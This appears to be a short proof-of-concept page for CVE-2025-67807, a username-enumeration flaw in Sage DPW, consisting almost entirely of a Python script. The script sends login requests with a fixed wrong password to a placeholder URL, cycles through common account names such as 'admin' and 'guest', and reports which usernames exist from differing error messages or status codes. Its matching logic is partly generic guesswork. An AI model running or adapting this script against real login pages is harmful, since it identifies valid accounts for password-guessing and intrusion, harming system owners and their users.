CVE-2025-67807 Sage DPW 用户名枚举漏洞

import requests # Target URL configuration target_url = "https://target-sage-dpw-instance.com/login" # List of potential usernames to enumerate user_list = ["admin", "administrator", "test", "guest", "user"] def check_username(url, username): """Check if the username exists based on response differences.""" # Simulate login attempt with a fixed incorrect password payload = { "username": username, "password": "InvalidPassword123!" } try: response = requests.post(url, data=payload, timeout=5) # Logic based on the vulnerability description: # Distinct responses for valid vs invalid usernames. # Example: checking for specific error messages or status codes. if "Invalid username" in response.text or response.status_code == 404: return False # User does not exist elif "Invalid password" in response.text or response.status_code == 401: return True # User exists (password check reached) else: # Fallback: analyze response content or length return "Unknown" except requests.RequestException as e: print(f"[Error] Connection failed: {e}") return None if __name__ == "__main__": print(f"[*] Starting username enumeration against {target_url}") for user in user_list: result = check_username(target_url, user) if result is True: print(f"[+] Found valid user: {user}") elif result is False: print(f"[-] User not found: {user}")